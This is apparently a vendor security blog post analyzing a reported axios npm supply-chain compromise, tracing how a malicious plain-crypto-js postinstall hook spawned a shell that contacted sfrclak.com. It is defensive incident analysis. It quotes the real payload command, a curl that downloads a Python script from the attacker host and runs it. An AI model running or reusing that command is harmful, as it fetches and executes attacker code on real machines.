Artifacts·Article·March 31, 2026

Axios npm Compromise: What Garnet Saw at Runtime

Execution Profile for `npm install axios@1.14.1`, run 23778294353. The lockfile showed a patch bump; the recorded run shows the install resolving `plain-crypto-js@4.2.1`, running `setup.js`, and a `curl` under it connecting to `sfrclak.com`.

Garnet Team
Garnet TeamResearch
Execution Profile for npm install axios@1.14.1 in a research repository, run 23778294353. Reading the diff showed a patch bump and the install exited normally. The recorded run shows what the install did: it resolved plain-crypto-js@4.2.1, ran that package's setup.js, and a shell under it connected to sfrclak.com.

Public reporting documents the incident: the published axios@1.14.1 pulled in a malicious plain-crypto-js dependency whose postinstall hook ran a small payload, then deleted itself and rewrote package.json to a stub (StepSecurity). The run below installed the package on a GitHub Actions runner with Garnet's sensor recording the job; the focus from here is what the run did.

Execution lineage

Run 23778294353

Axios & plain-crypto-js supply chain investigation

●
└─
└─
└─
├─
│└─
│ ├─registry.npmjs.org→104.16.0.34TCP
│ └─
│ └─
│ └─
│ └─sfrclak.com→142.11.206.73TCP
└─
└─github.com→140.82.113.23TCP
Execution lineage for run 23778294353, Axios & plain-crypto-js supply chain investigation.

The embedded tree shows the install step's shell running npm, which reached registry.npmjs.org. Under it, the resolved dependency's postinstall hook ran sh -c node setup.js, and from setup.js a second shell ran curl and staged a Python script.

What the run did

Execution chains. bash → node (npm) → sh → sh -c node setup.js → node setup.js → sh, where the last shell's command line is curl → sfrclak.com:8000 && python3 /tmp/ld.py. Nothing in the diff or the lockfile names setup.js; the chain exists only because the install resolved plain-crypto-js@4.2.1.

Outbound connections. Three destinations. registry.npmjs.org on the npm process and github.com on a separate node process — the connections an install and the runner need. And sfrclak.com (142.11.206.73, TCP) on the shell running curl under setup.js. Public reporting gives the full command:

bash
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py

The request body was shaped to look like npm traffic; the recorded chain attributes the connection to the curl under setup.js, not to npm.

What a reviewer or agent would verify

  • A patch bump of a direct dependency added a new transitive package with a postinstall hook. Does axios need it?
  • The install made a connection to sfrclak.com, a host that is neither the registry nor GitHub, from a shell started by that hook.
  • Public reporting says setup.js removed itself after running. The chain and the connection are in the profile regardless; a reviewer, or an AI coding agent handed this profile, can ask about them without the file.

Analysis

The interesting property of this record is that the change reviewers could read was a patch bump, while the run shows a dependency's postinstall hook starting a chain that ends in a connection to a new host. Public reporting says the hook cleaned up its files afterwards; the execution chain and the destination are part of the job's profile, not of the files left on disk.

What this record covers. Outbound connections and the execution chains behind them for this install. It does not show file contents, what /tmp/ld.py did after the step, or a recorded run of the previous axios version, and it has no public report link today.

See a live Execution Profile

Garnet shows what your CI run actually did — each outbound connection it recorded, attributed to the exact process that made it — so you and your agents can verify code changes against evidence, not assumptions. The live example is a dependency PR on a reference repository, not the run above.

See a live Execution Profile

More posts: TanStack · LiteLLM · Telnyx.

Execution ProfilesSupply Chainnpm SecurityaxiosExecution Attribution

© 2026 Garnet Labs Inc. All rights reserved.